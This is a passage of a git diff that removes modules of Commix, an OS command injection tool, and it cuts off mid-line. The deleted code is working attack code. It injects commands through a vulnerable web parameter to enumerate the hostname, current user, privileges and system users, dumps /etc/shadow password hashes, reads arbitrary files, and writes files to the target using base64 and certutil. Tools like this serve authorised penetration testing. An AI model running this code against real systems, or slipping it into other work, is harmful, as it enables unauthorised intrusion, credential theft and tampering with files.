whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - cmd = settings.PS_VERSION - if alter_shell: - cmd = cmd.replace("'","\\'") - else: - cmd = "\"" + cmd + "\"" - # Evaluate injection results. - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - ps_version = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - ps_version = "".join(str(p) for p in ps_version) - session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) - else: - ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - try: - if float(ps_version): - settings.PS_ENABLED = True - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - # Output PowerShell's version number - info_msg = "The PowerShell's version number is " - info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The PowerShell's version number is " + ps_version + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - except ValueError: - warn_msg = "Heuristics have failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." - print(settings.print_warning_msg(warn_msg)) - settings.PS_ENABLED = False - -""" -Hostname enumeration -""" -def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.TARGET_OS == "win": - settings.HOSTNAME = settings.WIN_HOSTNAME - cmd = settings.HOSTNAME - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - info_msg = "The hostname is " + str(shell) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) - -""" -Retrieve system information -""" -def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.TARGET_OS == "win": - settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - target_os = "".join(str(p) for p in target_os) - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_os: - target_os = "".join(str(p) for p in target_os) - if settings.TARGET_OS != "win": - cmd = settings.DISTRO_INFO - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - distro_name = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - distro_name = "".join(str(p) for p in distro_name) - if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.TARGET_OS == "win": - cmd = settings.WIN_RECOGNISE_HP - else: - cmd = settings.RECOGNISE_HP - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - target_arch = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - target_arch = "".join(str(p) for p in target_arch) - session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) - else: - target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_arch: - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to retrieve the system information." - print(settings.print_warning_msg(warn_msg)) - -""" -The current user enumeration -""" -def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.TARGET_OS == "win": - settings.CURRENT_USER = settings.WIN_CURRENT_USER - cmd = settings.CURRENT_USER - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - cu_account = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - cu_account = "".join(str(p) for p in cu_account) - session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) - else: - cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if cu_account: - # Check if the user have super privileges. - if menu.options.is_root or menu.options.is_admin: - if settings.TARGET_OS == "win": - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - if shell: - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") - output_file.close() - else: - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the current user." - print(settings.print_warning_msg(warn_msg)) - -""" -System users enumeration -""" -def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" - if alter_shell: - settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") - else: - settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" - cmd = settings.SYS_USERS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - sys_users = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - sys_users = "".join(str(p) for p in sys_users) - session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) - else: - sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - # Windows users enumeration. - if settings.TARGET_OS == "win": - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - info_msg = "Executing the 'net users' command " - info_msg += "to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - sys.stdout.write(settings.SUCCESS_STATUS) - sys_users_list = re.findall(r"(.*)", sys_users) - sys_users_list = "".join(str(p) for p in sys_users_list).strip() - sys_users_list = ' '.join(sys_users_list.split()) - sys_users_list = sys_users_list.split() - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - if menu.options.privileges: - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" - if alter_shell: - cmd = cmd.replace("'","\\'") - else: - cmd = "\"" + cmd + "\"" - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - check_privs = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) # Unix-like users enumeration. - except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() - pass - - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - pass - else: - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) - except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() - pass - - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - pass - -""" -System passwords enumeration -""" -def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.TARGET_OS == "win": - # Not yet implemented! - pass - else: - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - sys_passes = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - sys_passes = "".join(str(p) for p in sys_passes) - session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) - else: - sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if sys_passes == "": - sys_passes = " " - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching '" + settings.SHADOW_FILE - info_msg += "' to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - sys_passes = "".join(str(p) for p in sys_passes) - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split( ) - if len(sys_passes) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " - warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") - print(fields[0]) - output_file = open(filename, "a") - output_file.write(" " + fields[0]) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." - print("\n" + settings.print_warning_msg(warn_msg)) - -""" -Single os-shell execution -""" -def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - cmd = menu.options.os_cmd - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - if shell != "": - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") - logs.print_logs_notification(filename, url) - else: - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - -""" -Check the defined options -""" -def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - - # if not settings.VERBOSITY_LEVEL != 0 and not settings.ENUMERATION_DONE: - # print(settings.SINGLE_WHITESPACE) - - # Check if PowerShell is enabled. - if not menu.options.ps_version and settings.TARGET_OS == "win": - checks.ps_check() - - if menu.options.ps_version and settings.PS_ENABLED == None: - if not checks.ps_incompatible_os(): - powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - - if menu.options.hostname: - hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - - if menu.options.current_user: - current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - - if menu.options.sys_info: - system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - - if menu.options.users: - system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - - if menu.options.passwords: - system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - -# eof diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py deleted file mode 100755 index 02520e48d3..0000000000 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ /dev/null @@ -1,224 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys -from src.thirdparty.six.moves import urllib as _urllib - - -from src.utils import menu -from src.utils import settings -from src.utils import session_handler - -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_injector - -""" -The "file-based" technique on semiblind OS command injection. -""" - -""" -Read a file from the target host. -""" -def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - file_to_read = menu.options.file_read - # Execute command - if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_READ + file_to_read - else: - cmd = settings.FILE_READ + file_to_read - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + "'" + Style.RESET_ALL + ": " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - print(shell) - output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - -""" -Write to a file on the target host. -""" -def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - file_to_write = menu.options.file_write - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - if settings.TARGET_OS == "win": - import base64 - content = base64.b64encode(content) - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - - # Execute command - if settings.TARGET_OS == "win": - dest_to_write = dest_to_write.replace("\\","/") - # Find path - path = os.path.dirname(dest_to_write) - path = path.replace("/","\\") - # Change directory - cmd = "cd " + path + separator +separator + " " + settings.WIN_COMMENT - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Find filename - filname = os.path.basename(dest_to_write) - tmp_filname = "tmp_" + filname - cmd = settings.FILE_WRITE + " " + content + ">" + tmp_filname + separator + " " + settings.WIN_COMMENT - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Decode base 64 encoding - cmd = "certutil -decode " + tmp_filname + " " + filname + separator + " " + settings.WIN_COMMENT - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - #fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - # Delete tmp file - cmd = "del " + tmp_filname + separator + " " + settings.WIN_COMMENT - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - #fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - # Check if file exists - cmd = "cmd /c if exist " + filname + " (echo " + filname + ")" - dest_to_write = path + "\\" + filname - - else: - cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" + settings.COMMENT - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - # Check if file exists - cmd = "echo $(ls " + dest_to_write + ")" - - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - if shell: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - info_msg = "The " + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + " file was created successfully!" + "\n" - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - -""" -Upload a file on the target host. -""" -def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.TARGET_OS == "win": - # Not yet implemented - pass - else: - file_to_upload = menu.options.file_upload - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) 